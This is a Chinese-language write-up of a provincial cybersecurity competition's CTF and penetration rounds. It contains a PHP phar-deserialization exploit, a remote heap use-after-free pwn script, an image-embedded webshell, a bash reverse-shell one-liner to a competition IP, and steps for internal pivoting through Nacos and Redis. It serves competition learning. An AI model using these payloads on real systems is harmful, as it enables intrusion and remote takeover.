四川省職工職業技能大賽網路安全決賽WP

渗透测试中心發表於2024-08-02

上午CTF部分

web

simplelogin

yakit爆破出密碼,記得應該是a123456:

ppopp

index.php有一個任意檔案讀取:

<?php

//upload.php

error_reporting(0);

highlight_file(__FILE__);

class A {

public $a;

public function __destruct()

{

$s=$this->$a;

$s();

}

}

class B{

public $cmd;

function __invoke(){

return $this->start();

}

function start(){

echo system($this->cmd);

}

}

if(isset($_GET['file'])) {

if(strstr($_GET['file'], "flag")) {

die("Get out!");

}

echo file_get_contents($_GET['file']);

}

?>

讀取upload.php:

<!--?php
error_reporting(0);
if(isset($_FILES['file'])) {
mkdir("upload");
$uuid = uniqid();
$ext = explode(".", $_FILES["file"]["name"]);
$ext = end($ext);
move_uploaded_file($_FILES['file']['tmp_name'], "upload/".$uuid.".png");
echo "Upload Success! FilePath: upload/".$uuid.".png";
}-->

上傳的檔案會被改字尾為.png

嘗試上傳phar檔案,並用首頁的file_get_contents觸發反序列化執行命令:

// phar.php

<?php // phar.php
class A {
public $a;

public function __destruct()
{
$s=$this->a;
$s();
}
}
class B{
public $cmd;
function __construct(){
$this->$cmd = "cat flag";
}
function __invoke(){
return $this->start();
}
function start(){
system($this->cmd);
}
}
$b = new B();
$b->cmd = "cat /flag";
$a = new A();
$a->a = $b;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //字尾名必須為phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //設定stub
$phar->setMetadata($a); //將自定義的meta-data存入manifest
$phar->addFromString("a.txt", "abb"); //新增要壓縮的檔案
$phar->stopBuffering(); //簽名自動計算
?>

上傳後訪問:

misc

ftp

流量提取zip,然後密碼一樣password1234567890

crypto

baby_與佛論禪

aes但是對結果進行了異或後轉換成字元,所以轉回去解aes就可以

ruShiWoWen = [

'謹', '穆', '僧', '室', '藝', '瑟', '彌', '提', '蘇', '醯', '盧', '呼', '舍', '參', '沙', '伊',

'隸', '麼', '遮', '闍', '度', '蒙', '孕', '薩', '夷', '他', '姪', '豆', '特', '逝', '輸', '楞',

'慄', '寫', '數', '曳', '諦', '羅', '故', '實', '訶', '知', '三', '藐', '耨', '依', '槃', '涅',

'竟', '究', '想', '夢', '倒', '顛', '遠', '怖', '恐', '礙', '以', '亦', '智', '盡', '老', '至',

'吼', '足', '幽', '王', '告', '須', '彌', '燈', '護', '金', '剛', '遊', '戲', '寶', '勝', '通',

'藥', '師', '琉', '璃', '普', '功', '德', '山', '善', '住', '過', '去', '七', '未', '來', '賢',

'劫', '千', '五', '百', '萬', '花', '億', '定', '六', '方', '名', '號', '東', '月', '殿', '妙',

'尊', '樹', '根', '西', '皂', '焰', '北', '清', '數', '精', '進', '首', '下', '寂', '量', '諸',

'多', '釋', '迦', '牟', '尼', '勒', '阿', '閦', '陀', '中', '央', '眾', '生', '在', '界', '者',

'行', '於', '及', '虛', '空', '慈', '憂', '各', '令', '安', '穩', '休', '息', '晝', '夜', '修',

'持', '心', '求', '誦', '此', '經', '能', '滅', '死', '消', '除', '毒', '害', '高', '開', '文',

'殊', '利', '涼', '如', '念', '即', '說', '曰', '帝', '毘', '真', '陵', '乾', '梭', '哈', '敬',

'禮', '奉', '祖', '先', '孝', '雙', '親', '守', '重', '師', '愛', '兄', '弟', '信', '朋', '友',

'睦', '宗', '族', '和', '鄉', '夫', '婦', '教', '孫', '時', '便', '廣', '積', '陰', '難', '濟',

'急', '恤', '孤', '憐', '貧', '創', '廟', '宇', '印', '造', '經', '捨', '藥', '施', '茶', '戒',

'殺', '放', '橋', '路', '矜', '寡', '拔', '困', '粟', '惜', '福', '排', '解', '紛', '捐', '資']

enc = "急陰印誦愛謹者時守蒙薩寶至勒量央多牟德殺拔萬諸心彌闍憂生誦惜惜矜藥穩燈經急琉羅賢迦弟消吼釋心姪室經藝幽他信想室幽究除利宗護及闍究究劫信逝此慄究兄寫樹寡鄉彌幽信去"

dec = b''

for i in enc:

dec += (ruShiWoWen.index(i) ^ 64).to_bytes(1, 'little')

KEY = b'DASCTF@Key@^_^@Encode!!Buddha!!!'

IV = b'IV|DASCTF|OvO|IV'

from Crypto.Cipher import AES

from Crypto.Util.Padding import pad, unpad

cryptor = AES.new(KEY, AES.MODE_CBC, IV)

# padded_data = pad(data.encode('utf-8'), AES.block_size)

encrypted_data = cryptor.decrypt(dec)

print(encrypted_data)

re

NormalAndroid

jadx開啟看到只呼叫了so裡的一個函式,ida跟過去看:

能看到一個類似key的東西,並且對key進行了變換:

表:

然後進入到加密邏輯是一個AES加密,跟過去是S盒被改過:

所以就是找一個aes實現的程式碼改一下S盒,然後用變換過的key解密,因為斷網比賽,當時沒存指令碼所以沒做出來:


from Crypto.Util.number import long_to_bytes, bytes_to_long

# https://github.com/bozhu/AES-Python/blob/master/aes.py

Sbox = (
0xBE, 0xB4, 0x9F, 0x70, 0xDB, 0xAD, 0x31, 0x30, 0x6C, 0x87,
0x74, 0x27, 0xC9, 0x4C, 0x67, 0x62, 0x0A, 0x36, 0x08, 0xC8,
0x96, 0x32, 0x00, 0xF1, 0x38, 0x65, 0xEC, 0xED, 0x44, 0x25,
0xAA, 0x33, 0x86, 0xEF, 0x0D, 0x19, 0x7D, 0xD5, 0x45, 0xFB,
0x8D, 0x61, 0xFE, 0x50, 0x47, 0x7E, 0x7C, 0xF9, 0x01, 0xDE,
0xFF, 0xE1, 0xAC, 0x5D, 0xB5, 0x8E, 0x48, 0xBF, 0x90, 0x9D,
0x79, 0xCB, 0xA6, 0xA9, 0xFC, 0x34, 0xCF, 0x63, 0x5A, 0x99,
0x98, 0xB8, 0x92, 0x2D, 0x02, 0x89, 0x2C, 0x3B, 0x15, 0x72,
0x5E, 0x60, 0x29, 0x6F, 0x0B, 0x24, 0x6D, 0x1C, 0x5B, 0xE0,
0x37, 0xA4, 0xCC, 0x12, 0x93, 0xA7, 0x09, 0xC6, 0xB6, 0x8F,
0x04, 0x20, 0xE8, 0x46, 0xB1, 0xAE, 0x3A, 0x68, 0x81, 0xCE,
0x2B, 0x0C, 0xB3, 0x3E, 0xC0, 0x0E, 0x4D, 0xD8, 0xD2, 0xA2,
0x9E, 0x56, 0x28, 0xB0, 0x35, 0x1B, 0x5F, 0xF5, 0x05, 0xBC,
0x3C, 0x4F, 0x8C, 0xE6, 0xF6, 0x75, 0xF4, 0xF8, 0xDD, 0x11,
0xC1, 0xB9, 0x4E, 0x97, 0xD6, 0xF2, 0xE4, 0xD1, 0x82, 0xD3,
0x03, 0x8B, 0x4B, 0xCA, 0x64, 0xEB, 0xAB, 0x71, 0xA1, 0xBA,
0xA8, 0x6A, 0x1E, 0x1A, 0xA5, 0x49, 0x6E, 0x53, 0x66, 0x39,
0x51, 0xE9, 0x26, 0xC4, 0xDA, 0x55, 0x3F, 0xEA, 0x85, 0x8A,
0xD9, 0x13, 0x69, 0x1F, 0xE2, 0x7F, 0x2F, 0xC5, 0x88, 0x57,
0x73, 0xA3, 0xE3, 0x0F, 0xBB, 0x18, 0xE5, 0x42, 0x22, 0x52,
0x43, 0x80, 0x2A, 0x6B, 0x17, 0xD7, 0x23, 0x06, 0x58, 0x1D,
0x7A, 0x84, 0xE7, 0xEE, 0xD0, 0x41, 0xD4, 0xBD, 0xA0, 0xC3,
0xC2, 0xFD, 0x21, 0x54, 0xDF, 0x7B, 0xB7, 0xF0, 0xB2, 0x77,
0x3D, 0x07, 0x78, 0x16, 0x9C, 0x59, 0xAF, 0x2E, 0x83, 0xFA,
0x9B, 0x95, 0xF7, 0x40, 0x94, 0xF3, 0xCD, 0xC7, 0x91, 0x10,
0xDC, 0x4A, 0x14, 0x9A, 0x5C, 0x76
)

InvSbox = [Sbox.index(i) for i in range(256)]

# learnt from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)


Rcon = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)


def text2matrix(text):
matrix = []
for i in range(16):
byte = (text >> (8 * (15 - i))) & 0xFF
if i % 4 == 0:
matrix.append([byte])
else:
matrix[i // 4].append(byte)
return matrix


def matrix2text(matrix):
text = 0
for i in range(4):
for j in range(4):
text |= (matrix[i][j] << (120 - 8 * (4 * i + j)))
return text


class AES:
def __init__(self, master_key):
self.change_key(master_key)

def change_key(self, master_key):
self.round_keys = text2matrix(master_key)
# print self.round_keys

for i in range(4, 4 * 11):
self.round_keys.append([])
if i % 4 == 0:
byte = self.round_keys[i - 4][0] \
^ Sbox[self.round_keys[i - 1][1]] \
^ Rcon[i // 4]
self.round_keys[i].append(byte)

for j in range(1, 4):
byte = self.round_keys[i - 4][j] \
^ Sbox[self.round_keys[i - 1][(j + 1) % 4]]
self.round_keys[i].append(byte)
else:
for j in range(4):
byte = self.round_keys[i - 4][j] \
^ self.round_keys[i - 1][j]
self.round_keys[i].append(byte)

# print self.round_keys

def encrypt(self, plaintext):
self.plain_state = text2matrix(plaintext)

self.__add_round_key(self.plain_state, self.round_keys[:4])

for i in range(1, 10):
self.__round_encrypt(self.plain_state, self.round_keys[4 * i : 4 * (i + 1)])

self.__sub_bytes(self.plain_state)
self.__shift_rows(self.plain_state)
self.__add_round_key(self.plain_state, self.round_keys[40:])

return matrix2text(self.plain_state)

def decrypt(self, ciphertext):
self.cipher_state = text2matrix(ciphertext)

self.__add_round_key(self.cipher_state, self.round_keys[40:])
self.__inv_shift_rows(self.cipher_state)
self.__inv_sub_bytes(self.cipher_state)

for i in range(9, 0, -1):
self.__round_decrypt(self.cipher_state, self.round_keys[4 * i : 4 * (i + 1)])

self.__add_round_key(self.cipher_state, self.round_keys[:4])

return matrix2text(self.cipher_state)

def __add_round_key(self, s, k):
for i in range(4):
for j in range(4):
s[i][j] ^= k[i][j]


def __round_encrypt(self, state_matrix, key_matrix):
self.__sub_bytes(state_matrix)
self.__shift_rows(state_matrix)
self.__mix_columns(state_matrix)
self.__add_round_key(state_matrix, key_matrix)


def __round_decrypt(self, state_matrix, key_matrix):
self.__add_round_key(state_matrix, key_matrix)
self.__inv_mix_columns(state_matrix)
self.__inv_shift_rows(state_matrix)
self.__inv_sub_bytes(state_matrix)

def __sub_bytes(self, s):
for i in range(4):
for j in range(4):
s[i][j] = Sbox[s[i][j]]


def __inv_sub_bytes(self, s):
for i in range(4):
for j in range(4):
s[i][j] = InvSbox[s[i][j]]


def __shift_rows(self, s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]


def __inv_shift_rows(self, s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]

def __mix_single_column(self, a):
# please see Sec 4.1.2 in The Design of Rijndael
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)


def __mix_columns(self, s):
for i in range(4):
self.__mix_single_column(s[i])


def __inv_mix_columns(self, s):
# see Sec 4.1.3 in The Design of Rijndael
for i in range(4):
u = xtime(xtime(s[i][0] ^ s[i][2]))
v = xtime(xtime(s[i][1] ^ s[i][3]))
s[i][0] ^= u
s[i][1] ^= v
s[i][2] ^= u
s[i][3] ^= v

self.__mix_columns(s)

key = b"Hi Android!0oO00"
table = [
0x0A, 0x02, 0x01, 0x0D, 0x0B, 0x09, 0x0E, 0x08, 0x07, 0x05,
0x00, 0x04, 0x0F, 0x03, 0x06, 0x0C
]
key = bytes([key[i] for i in table])

enc = [
0x29, 0x9C, 0xB0, 0x7E, 0x81, 0x55, 0x5B, 0x08, 0x55, 0x6F,
0x70, 0xC8, 0x2A, 0x8B, 0xA4, 0xC8, 0xA3, 0x3A, 0x60, 0x9B,
0x6E, 0xFD, 0xDC, 0x7A, 0xC7, 0x6B, 0xCC, 0xAC, 0x32, 0xB3,
0xDF, 0x3E
]

flag = b""
cipher = AES(bytes_to_long(key))
dec = cipher.decrypt(bytes_to_long(bytes(enc[:16])))
# print(long_to_bytes(dec))
flag += long_to_bytes(dec)
dec = cipher.decrypt(bytes_to_long(bytes(enc[16:])))
# print(long_to_bytes(dec))
flag += long_to_bytes(dec)
print(flag)

pwn

shopping

新增一個貨物會分配兩個0x98,釋放後沒置空導致存在uaf,建立多個堆塊後釋放到unsorted bin洩露libc,然後利用編輯功能修改tcache的bk為freehook,填入one_gadget利用

from pwn import *
libc = ELF("./libc.so.6")
# p = process("./pwn_1")
p = remote("10.1.100.34", 9999)
# context.log_level = 'debug'
def add(content):
p.sendlineafter(": ", b"2")
p.sendlineafter(": ", b"1")
p.sendlineafter(":", content)

def free(idx):
p.sendlineafter(": ", b"3")
p.sendlineafter(": ", str(idx).encode())

def show():
p.sendlineafter(": ", b"5")

def edit(idx, content):
p.sendlineafter(": ", b"4")
p.sendlineafter(": ", str(idx).encode())
p.sendlineafter(":", content)

for i in range(9):
add(b'a')
for i in range(8):
free(i)

show()
p.recvuntil(b"------------------------------\n")
heap = int(p.recvuntil(b" "), 10) - 0xc50
success(f"heap: {hex(heap)}")
p.recvuntil(b"------------------------------\n")
p.recvuntil(b"------------------------------\n")
libc.address = int(p.recvuntil(b" "), 10) - 0x3ebca0
success(f"libc: {hex(libc.address)}")
# pause()
edit(3, p64(libc.sym['__free_hook']))
add(p64(libc.address + 0x4f302))
add(p64(libc.address + 0x4f302))
free(0)
p.interactive()

ai

scene-1

import csv
from collections import defaultdict
# Load the data from the CSV file
with open('data/network_traffic_logs_q1.csv', 'r', encoding='utf-8') as csvfile:
reader = csv.DictReader(csvfile)
data = [row for row in reader]
# Step 1: Count the number of each event type
event_type_count = defaultdict(int)
for row in data:
event_type_count[row['event_type']] += 1
# print(event_type_count)
top_source_ip = {}
for row in data:
if row['source_ip'] not in top_source_ip.get(row['event_type'], []):
top_source_ip.setdefault(row['event_type'], []).append(row['source_ip'])
else:
# top_source_ip[row['event_type']].remove(row['source_ip'])
top_source_ip[row['event_type']].append(row['source_ip'])
def max_times(l):
a = {}
for i in l:
if a.get(i):
a[i] += 1
else:
a[i] = 1
max = 0
top = ''
for i, j in a.items():
if max < j:
max = j
top = i
print(top)
return top
# Step 3: Generate the output CSV file
with open('output.csv', 'w', encoding='utf-8') as csvfile:
writer = csv.writer(csvfile)
writer.writerow(['event_type', 'event_type_count', 'top_source_ip'])
for event_type, count in event_type_count.items():
writer.writerow([event_type, count, max_times(top_source_ip[event_type])])

scene-2

import pandas as pd
import ipaddress
import csv
data = pd.read_csv("./data/network_traffic_logs_q2.csv", dtype={'source_ip': str, 'destination_port': str, 'source_port': str, 'destination_port': str}, encoding='utf-8')
# timestamp,source_ip,destination_ip,source_port,destination_port,packet_size
# data['connection'] = int(ipaddress.IPv4Address(data['source_ip'])) + '-' + data['source_port'] + '-' + int(ipaddress.IPv4Address(data['destination_ip'])) + '-' + data['destination_port']
# data['connection'] = int(ipaddress.IPv4Address(data['source_ip']))
# data.to_csv('result.csv', index=False, encoding='utf-8')
source_ips = []
for i in data['source_ip']:
source_ips.append(str(int(ipaddress.IPv4Address(i))))
source_ports = []
for i in data['source_port']:
source_ports.append(i)
destination_ips = []
for i in data['destination_ip']:
destination_ips.append(str(int(ipaddress.IPv4Address(i))))
destination_ports = []
for i in data['destination_port']:
destination_ports.append(i)
sizes = []
for i in data['packet_size']:
sizes.append(i)
result = {}
for i in range(len(source_ips)):
temp = source_ips[i] + "-" + source_ports[i] + "-" + destination_ips[i] + "-" + destination_ports[i]
if not result.get(temp):
result[temp] = sizes[i]
else:
result[temp] += sizes[i]
# print(result)
with open('output.csv', 'w', encoding='utf-8') as csvfile:
writer = csv.writer(csvfile)
writer.writerow(['connection', 'total_packet_size'])
for connection, total_packet_size in result.items():
writer.writerow([connection, total_packet_size])

另外兩個AI題目,準備了本地的llama3和codellama的大模型(用ollama),但是比賽的時候沒能成功讓大模型寫出來解題程式碼。

下午國產化環境漏洞挖掘賽部分

flag1

上來開啟robots.txt:

然後掃到一個DS_Store

開啟能看到test.php,同時掃描器也掃到test.php,可以上傳檔案

flag2

上傳圖片,有一些檢查,所以直接在正常圖片末尾加一句話木馬,蟻劍連線

彈個shell回來:

bash -i >& /dev/tcp/10.50.137.28/23333 0>&1

上傳fscan,cat /proc/net/arp看內網,然後掃網段192.168.35.1/24

然後拉代理出來

flag3

xray掃到一臺nacos,用vulhub的指令碼掛代理打:

登陸後看到flag3:

flag7

nacos裡的另一個配置檔案裡有一個密碼xinchuang123qwe,用這個密碼連redis,寫公鑰然後SSH上去可以看到flag7,在192的機器裡。

flag10

flag10要求計算麒麟主機的/proc/version的md5,實際上就是入口機器,但是這個檔案用哥斯拉的馬才能讀取:

賽題附件下載地址:連結: https://pan.baidu.com/s/1t-d-s4g-QN90e1B0ekBK3A 提取碼: eyj8

原文轉載連結地址:

https://mp.weixin.qq.com/s/-3Am_wGCgc2aOaedk91g9w

相關文章